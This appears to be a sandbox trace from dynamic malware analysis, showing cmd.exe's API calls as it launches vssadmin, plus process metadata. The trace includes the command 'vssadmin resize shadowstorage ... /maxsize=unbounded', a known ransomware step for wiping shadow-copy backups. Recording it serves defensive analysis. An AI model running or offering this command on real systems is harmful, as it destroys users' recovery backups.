	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xb9f678, cchData=32 | out: lpLCData="Sat") returned 4
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xb9f638, cchData=32 | out: lpLCData="Sun") returned 4
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xb9f80c, cchData=8 | out: lpLCData=".") returned 2
	[0090.740] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xb9f7f8, cchData=8 | out: lpLCData=",") returned 2
	[0090.740] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0090.741] GetProcessHeap () returned 0x2f80000
	[0090.741] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x0, Size=0x20c) returned 0x2f87860
	[0090.741] GetConsoleTitleW (in: lpConsoleTitle=0x2f87860, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0090.744] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0090.744] GetProcAddress (hModule=0x76750000, lpProcName="CopyFileExW") returned 0x76764330
	[0090.744] GetProcAddress (hModule=0x76750000, lpProcName="IsDebuggerPresent") returned 0x76765930
	[0090.744] GetProcAddress (hModule=0x76750000, lpProcName="SetConsoleInputExeNameW") returned 0x748f09d0
	[0090.744] ??_V@YAXPAX@Z () returned 0x1
	[0090.745] GetProcessHeap () returned 0x2f80000
	[0090.745] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x400a) returned 0x2f88d60
	[0090.745] GetProcessHeap () returned 0x2f80000
	[0090.745] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f88d60) returned 1
	[0090.745] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0090.745] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0090.745] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0090.745] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0090.745] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0090.745] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0090.745] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0090.745] GetProcessHeap () returned 0x2f80000
	[0090.745] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x58) returned 0x2f87a78
	[0090.745] GetProcessHeap () returned 0x2f80000
	[0090.745] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x1a) returned 0x2f87ad8
	[0090.746] GetProcessHeap () returned 0x2f80000
	[0090.746] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x78) returned 0x2f87b00
	[0090.747] GetConsoleTitleW (in: lpConsoleTitle=0xaaf670, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0090.747] malloc (_Size=0xffce) returned 0x3192638
	[0090.748] ??_V@YAXPAX@Z () returned 0xaaf3fc
	[0090.748] malloc (_Size=0xffce) returned 0x31a2610
	[0090.749] ??_V@YAXPAX@Z () returned 0xaaf1b4
	[0090.749] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0090.750] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0090.751] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0090.752] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0090.752] ??_V@YAXPAX@Z () returned 0x1
	[0090.752] GetProcessHeap () returned 0x2f80000
	[0090.752] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xffd6) returned 0x2f88d60
	[0090.753] GetProcessHeap () returned 0x2f80000
	[0090.753] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x8a) returned 0x2f87b80
	[0090.753] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0090.753] malloc (_Size=0xffce) returned 0x31a2610
	[0090.753] ??_V@YAXPAX@Z () returned 0xaaef34
	[0090.753] GetProcessHeap () returned 0x2f80000
	[0090.753] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x1ffa4) returned 0x2f98d40
	[0090.755] SetErrorMode (uMode=0x0) returned 0x0
	[0090.755] SetErrorMode (uMode=0x1) returned 0x0
	[0090.755] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2f98d48, lpFilePart=0xaaef54 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xaaef54*="Desktop") returned 0x17
	[0090.755] SetErrorMode (uMode=0x0) returned 0x1
	[0090.755] GetProcessHeap () returned 0x2f80000
	[0090.755] RtlReAllocateHeap (Heap=0x2f80000, Flags=0x0, Ptr=0x2f98d40, Size=0x4a) returned 0x2f98d40
	[0090.755] GetProcessHeap () returned 0x2f80000
	[0090.755] RtlSizeHeap (HeapHandle=0x2f80000, Flags=0x0, MemoryPointer=0x2f98d40) returned 0x4a
	[0090.755] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0090.755] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0090.755] GetProcessHeap () returned 0x2f80000
	[0090.755] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x1b4) returned 0x2f87c18
	[0090.755] GetProcessHeap () returned 0x2f80000
	[0090.755] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x360) returned 0x2f87dd8
	[0090.761] GetProcessHeap () returned 0x2f80000
	[0090.761] RtlReAllocateHeap (Heap=0x2f80000, Flags=0x0, Ptr=0x2f87dd8, Size=0x1b6) returned 0x2f87dd8
	[0090.761] GetProcessHeap () returned 0x2f80000
	[0090.761] RtlSizeHeap (HeapHandle=0x2f80000, Flags=0x0, MemoryPointer=0x2f87dd8) returned 0x1b6
	[0090.761] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0090.761] GetProcessHeap () returned 0x2f80000
	[0090.761] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xe0) returned 0x2f87f98
	[0090.761] GetProcessHeap () returned 0x2f80000
	[0090.761] RtlReAllocateHeap (Heap=0x2f80000, Flags=0x0, Ptr=0x2f87f98, Size=0x76) returned 0x2f87f98
	[0090.761] GetProcessHeap () returned 0x2f80000
	[0090.761] RtlSizeHeap (HeapHandle=0x2f80000, Flags=0x0, MemoryPointer=0x2f87f98) returned 0x76
	[0090.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.762] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xaaece0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaaece0) returned 0xffffffff
	[0090.762] GetLastError () returned 0x2
	[0090.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.762] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xaaece0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaaece0) returned 0xffffffff
	[0090.762] GetLastError () returned 0x2
	[0090.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xaaece0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaaece0) returned 0x2f88018
	[0090.763] GetProcessHeap () returned 0x2f80000
	[0090.763] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x0, Size=0x14) returned 0x2f88058
	[0090.763] FindClose (in: hFindFile=0x2f88018 | out: hFindFile=0x2f88018) returned 1
	[0090.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xaaece0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaaece0) returned 0xffffffff
	[0090.763] GetLastError () returned 0x2
	[0090.763] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xaaece0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xaaece0) returned 0x2f88018
	[0090.763] GetProcessHeap () returned 0x2f80000
	[0090.763] RtlReAllocateHeap (Heap=0x2f80000, Flags=0x0, Ptr=0x2f88058, Size=0x4) returned 0x2f88058
	[0090.763] FindClose (in: hFindFile=0x2f88018 | out: hFindFile=0x2f88018) returned 1
	[0090.763] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0090.763] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0090.763] ??_V@YAXPAX@Z () returned 0x1
	[0090.763] GetConsoleTitleW (in: lpConsoleTitle=0xaaf1e4, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0090.764] InitializeProcThreadAttributeList (in: lpAttributeList=0xaaf110, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xaaf0fc | out: lpAttributeList=0xaaf110, lpSize=0xaaf0fc) returned 1
	[0090.764] UpdateProcThreadAttribute (in: lpAttributeList=0xaaf110, dwFlags=0x0, Attribute=0x60001, lpValue=0xaaf0f8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xaaf110, lpPreviousValue=0x0) returned 1
	[0090.764] GetStartupInfoW (in: lpStartupInfo=0xaaf148 | out: lpStartupInfo=0xaaf148*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0090.764] GetProcessHeap () returned 0x2f80000
	[0090.764] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0x18) returned 0x2f88018
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0090.764] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0090.765] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0090.765] GetProcessHeap () returned 0x2f80000
	[0090.765] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f88018) returned 1
	[0090.765] GetProcessHeap () returned 0x2f80000
	[0090.765] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xa) returned 0x2f88018
	[0090.765] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0090.766] _get_osfhandle (_FileHandle=1) returned 0x90
	[0090.766] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0090.767] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0090.767] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0090.767] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xaaf098*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=unbounded", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xaaf0e4 | out: lpCommandLine="vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=unbounded", lpProcessInformation=0xaaf0e4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xb38, dwThreadId=0x3ec)) returned 1
	[0090.781] CloseHandle (hObject=0xdc) returned 1
	[0090.781] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0090.781] GetProcessHeap () returned 0x2f80000
	[0090.781] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f86c58) returned 1
	[0090.781] GetEnvironmentStringsW () returned 0x2f86c58*
	[0090.781] GetProcessHeap () returned 0x2f80000
	[0090.781] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xb1a) returned 0x2f84bd0
	[0090.781] FreeEnvironmentStringsA (penv="=") returned 1
	[0090.781] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0091.272] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0xaaf07c | out: lpExitCode=0xaaf07c*=0x2) returned 1
	[0091.272] CloseHandle (hObject=0xe0) returned 1
	[0091.272] _vsnwprintf (in: _Buffer=0xaaf164, _BufferCount=0x13, _Format="%08X", _ArgList=0xaaf084 | out: _Buffer="00000002") returned 8
	[0091.272] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0091.273] GetProcessHeap () returned 0x2f80000
	[0091.273] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f84bd0) returned 1
	[0091.273] GetEnvironmentStringsW () returned 0x2f88198*
	[0091.274] GetProcessHeap () returned 0x2f80000
	[0091.274] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xb40) returned 0x2f84bd0
	[0091.274] FreeEnvironmentStringsA (penv="=") returned 1
	[0091.274] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0091.274] GetProcessHeap () returned 0x2f80000
	[0091.274] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f84bd0) returned 1
	[0091.274] GetEnvironmentStringsW () returned 0x2f88198*
	[0091.274] GetProcessHeap () returned 0x2f80000
	[0091.274] RtlAllocateHeap (HeapHandle=0x2f80000, Flags=0x8, Size=0xb40) returned 0x2f84bd0
	[0091.274] FreeEnvironmentStringsA (penv="=") returned 1
	[0091.274] GetProcessHeap () returned 0x2f80000
	[0091.274] RtlFreeHeap (HeapHandle=0x2f80000, Flags=0x0, BaseAddress=0x2f88018) returned 1
	[0091.274] DeleteProcThreadAttributeList (in: lpAttributeList=0xaaf110 | out: lpAttributeList=0xaaf110) 
	[0091.274] ??_V@YAXPAX@Z () returned 0x1
	[0091.274] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.274] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0091.280] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.280] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0091.297] _get_osfhandle (_FileHandle=1) returned 0x90
	[0091.297] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0091.317] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0091.317] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0091.337] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0091.337] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0091.361] SetConsoleInputExeNameW () returned 0x1
	[0091.361] GetConsoleOutputCP () returned 0x1b5
	[0091.399] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0091.399] SetThreadUILanguage (LangId=0x0) returned 0x2c70409
	[0091.411] exit (_Code=2) 
	[0091.411] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 129
	os_tid = 0xec8


Process:
	id = "39"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x1c2e2000"
	os_pid = "0x114c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "38"
	os_parent_pid = "0x378"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 126
	os_tid = 0x10ec


Thread:
	id = 127
	os_tid = 0xf74


Thread:
	id = 128
	os_tid = 0x116c


Process:
	id = "40"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x589f8000"
	os_pid = "0xb38"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "38"
	os_parent_pid = "0x378"
	cmd_line = "vssadmin  resize shadowstorage /for=h: /on=h: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 130
